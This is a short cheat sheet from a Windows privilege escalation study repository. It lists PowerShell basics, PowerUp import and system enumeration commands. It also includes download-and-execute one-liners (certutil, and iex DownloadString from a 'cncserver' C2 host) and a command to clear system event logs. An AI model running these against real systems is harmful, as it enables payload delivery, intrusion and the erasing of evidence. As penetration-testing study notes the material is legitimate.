Repository on Windows Privilege Escalation, It contains helpful resources which can guide you escalating your privileges on Windows. I was noting all of the Privilege Escalation methods and vectors while I was studying it. Please go through it and you may find it helpful. Also, Small CheatSheets can be found here which can be important. Will keep updating it!
Get-ChildItem (Displays all the contents in the current directory)
Get-Alias (Displays all the aliases)
Set-Alias (Setup your Alias)
$profile (Lists your powershell profile, for eg: "C:\Users\user\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1")
Import-Module ./PowerUp.ps1 (Imports a PowerShell Script Module)
Remove-Item (Delete any file or folder)
Import-Alias (Import aliases)
certutil -urlcache -f http://127.0.0.1/sample.exe C:\temp\sample.exe && C:\temp\sample.exe
Download file and save to disk :
Invoke-WebRequest "http://127.0.0.1/sample.exe" -OutFile "C:\temp\sample.exe"
Download and execute in memory :
iex (New-Object Net.WebClient).DownloadString('http://cncserver/samplescript.ps1')
whoami /all: Gain all information about the user on the machine.whoami/groups: Gain information only about the groups the current user is present in.whoami /priv: Gain information about the privileges of the user.systeminfo: Display information about the system such as Kernel Version, Architecture, OS Version and so on.driverquery: Display a list of all the installed drivers on victim machinesc query <servicename>: Display information about a particular service.tasklist: Obtain Information about running taskstasklist /m kernel32.dll: Obtain information about running tasks which are linked with a particular moduletaskkill /f /pid <pid>: Kill a specified process IDwevtutil el: List all logs on the systemwevtutil cl System: Clear all logs (Requires Admin Privileges)wmic logicaldisk get Caption,Description: List all hard-drives on the systemsc query | findstr "SERVICE_NAME": Display all service names
TwitterID: https://twitter.com/BhalgamaVedant
YouTube: https://www.youtube.com/channel/UCIlMtOiRDi1luvhtjczvjJw